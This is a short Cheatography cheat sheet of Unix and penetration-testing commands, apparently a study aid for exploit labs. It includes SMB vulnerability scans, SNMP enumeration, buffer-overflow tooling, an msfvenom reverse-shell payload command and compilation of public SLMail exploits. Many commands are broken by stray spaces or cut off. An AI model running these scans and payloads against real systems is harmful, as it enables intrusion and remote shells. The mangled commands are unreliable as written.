Cheatography

*nix Cheet Sheet Cheat Sheet

by Inqu1sitive via cheatography.com/28320/cs/8324/

File and Movement

locate

which

find `find / -name *sbd`
searches through directory recursively

Users and Groups

passwd

Text

sed `sed -i '/^$/d' foo`
deletes blank lines

Tmux

```
tmux new -s <se ssi on- nam e>
tmux a -t <se ssi on- nam e>
tmux detach
tmux kill-s ession -t <se ssi on- n am e>
```

Networking

netstat `netstat -antp`
Lists all TCP numeric ports and status
`netstat`

netcat `nc -nv 10.0.0.22 110`
`HEAD / HTTP/1.0`

iptables `iptables -A INPUT -p tcp --dest ina tio n-port 13327 \! -d 127.0.0.1 -j DR OP`
drops traffic to destination port

wget

File Transfer

tftp `atftpd —daemon —port 69 /tftp`
starts tftpd daemon

SMB

nmap `nmap -v -p 139, 445 -scrip t=s mb- che ck- vulns -scrip t-a rgs =un safe=1 192.16 8.1 1.201`
smb-check *MS08-067/07-029/06-025/DOS*

enum4linux `enum4linux -a 192.16 8.1 1.227`

nbtscan `nbtscan -r 192.16 8.1 1/0/24`

SNMP

onesix-tyone `onesix tyone -c <co mmu nit y> -i <ip s>`
checks SNMP at IP file w/ community file

snmpwalk `snmpwalk -c public -v1 192.16 8.1 1.2 19`
enumerates MIB tree on a server with SNMP enabled

Buffer Overflow and Payloads

pattern_c-reate.rb `/usr/s har e/m eta spl oit -fr ame wor k/t ool s/e xpl oit /p`
creates unique 2700 byte string

nasm_s-hell.rb `/usr/s har e/m eta spl oit -fr ame wor k/t ool s/e xpl oit /n`
opens nasm shell (opcode translation)

mona.py `!mona find -s " \xf f\x e4 \" -m slmfc.dll`
finds opcode in selected dll

msfvenom `msfvenom -p window s/s hel l_r eve rse_tcp LHOST= 10.0.0.4 LP x 0a\x0d"`
reverse shell tcp payload in C, encoded w/ bad char specified

edb `edb --run /usr/g ame s/c ros sfi re/ bin /cr ossfire`

gcc `gcc 643-fi xed.c -o slmail -linux`

mingw `i686-w 64- min gw3 2-gcc 646-fi xed.c -lws2_32 -o 646.exe`

SQL

sqlmap `sqlmap -u http:/ /10.11.6.109 —crawl=1`
basic web-crawl

By **Inqu1sitive**
cheatography.com/inqu1sitive/

Not published yet.
Last updated 2nd June, 2016.

Sponsored by **Readable.com**
Measure your website readability!
https://readable.com